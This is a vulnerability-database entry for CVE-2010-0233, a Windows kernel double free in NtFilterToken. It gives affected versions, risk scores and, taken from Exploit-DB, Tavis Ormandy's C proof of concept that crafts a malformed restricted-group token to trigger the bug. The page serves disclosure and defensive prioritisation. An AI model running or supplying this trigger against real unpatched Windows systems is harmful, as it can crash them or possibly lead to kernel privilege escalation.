CVE-2010-0233

high
Published 2010-02-10 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.2

Description

Double free vulnerability in the kernel in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista Gold, SP1, and SP2, and Server 2008 Gold and SP2 allows local users to gain privileges via a crafted application, aka "Windows Kernel Double Free Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33593 local windows verified text ยท 5 KB
Tavis Ormandy ยท 2010-02-09

Microsoft Windows XP/Vista/2000/2003 - Double-Free Memory Corruption Privilege Escalation

text exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/38044/info

// Microsoft Windows is prone to a local privilege-escalation vulnerability that occurs in the kernel.

// An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will cause a denial of service.

// --------------------------------------------------------
// Windows NtFilterToken() Double Free Vulnerability
// ----------------------------- taviso@sdf.lonestar.org ------------
//
// INTRODUCTION
//
//      NtFilterToken() will jump to a cleanup routine if it failed to capture
//      the arguments specified due to pathological TOKEN_GROUP parameter. This
//      cleanup routine assumes a pointer passed to SeCaptureSidAndAttributesArray()
//      will be NULL if it fails, and attempts to release it otherwise.
//
//      Unfortunately there is a codepath where SeCaptureSidAndAttributesArray()
//      allocates a buffer, releases it on error, but then does not set it to
//      NULL. This causes NtFilterToken() to incorrectly free it again.
//
// IMPACT
//  
//      This is probably exploitable (at least on MP kernels) to get ring0 code
//      execution, but you would have to get the released buffer re-allocated
//      during a very small window and you only get one attempt (the kernel
//      will bugcheck if you dont win the race).
//
//      Although technically this is a local privilege escalation, I don't think
//      it's possible to create a reliable exploit. Therefore, It's probably
//      safe to treat this as if it were a denial of service.
//
//      Interestingly, Microsoft are big proponents of static analysis and this
//      seems like a model example of a statically discoverable bug. I would
//      guess they're dissapointed they missed this one, it would be fun to
//      know what went wrong.
//
//      This vulnerability was reported to Microsoft in October, 2009.
//
// CREDIT
//
//      This bug was discovered by Tavis Ormandy <taviso@sdf.lonestar.org>.
//

#include <windows.h>

PVOID AllocBufferOnPageBoundary(ULONG Size);

int main(int argc, char **argv)
{
    SID *Sid;
    HANDLE NewToken;
    FARPROC NtFilterToken;
    PTOKEN_GROUPS Restricted;

    // Resolve the required routine.
    NtFilterToken = GetProcAddress(GetModuleHandle("NTDLL"), "NtFilterToken");

    // Allocate SID such that touching the following byte will AV.
    Sid             = AllocBufferOnPageBoundary(sizeof(SID));
    Restricted      = AllocBufferOnPageBoundary(sizeof(PTOKEN_GROUPS) + sizeof(SID_AND_ATTRIBUTES));
    
    // Setup SID, SubAuthorityCount is the important field.
    Sid->Revision           = SID_REVISION;
    Sid->SubAuthority[0]    = SECURITY_NULL_RID;
    Sid->SubAuthorityCount  = 2;

    // Respect my authority.
    CopyMemory(Sid->IdentifierAuthority.Value, "taviso", sizeof Sid->IdentifierAuthority.Value);

    // Setup the TOKEN_GROUPS structure.
    Restricted->Groups[0].Attributes    = SE_GROUP_MANDATORY;
    Restricted->Groups[0].Sid           = Sid;
    Restricted->GroupCount              = 1;

    // Trigger the vulnerabilty.
    NtFilterToken(INVALID_HANDLE_VALUE,
                  0,
                  NULL,
                  NULL,
                  Restricted,
                  &NewToken);

    // Not reached
    return 0;
}

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

// This is a quick routine to allocate a buffer on a page boundary. Simply
// VirtualAlloc() two consecutive pages read/write, then use VirtualProtect()
// to set the second page to PAGE_NOACCESS.
//
//          sizeof(buffer)
//                |
//              <-+-> 
//  +----------------+----------------+
//  | PAGE_READWRITE | PAGE_NOACCESS  |
//  +----------------+----------------+
//              ^     ^
//              |     |
//   buffer[0] -+     +- buffer[size]
//
// No error checking for simplicity, whatever :-)
//
PVOID AllocBufferOnPageBoundary(ULONG Size)
{
    ULONG GuardBufSize;
    ULONG ProtBits;
    PBYTE GuardBuf;

    // Round size requested up to the next multiple of PAGE_SIZE
    GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);

    // Add one page to be the guard page
    GuardBufSize = GuardBufSize + PAGE_SIZE;

    // Map this anonymous memory
    GuardBuf = VirtualAlloc(NULL,
                            GuardBufSize,
                            MEM_COMMIT | MEM_RESERVE,
                            PAGE_READWRITE);

    // Make the final page NOACCESS
    VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE,
                   PAGE_SIZE,
                   PAGE_NOACCESS,
                   &ProtBits);

    // Calculate where pointer should be, so that touching Buffer[Size] AVs.
    return GuardBuf + GuardBufSize - PAGE_SIZE - Size;
}

OS impact

windows Windows Affected 5 releases
VersionStatusFixed in
sp3 Affected โ€”
sp2 Affected โ€”
sp1 Affected โ€”
- Affected โ€”
โ€” Affected โ€”

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.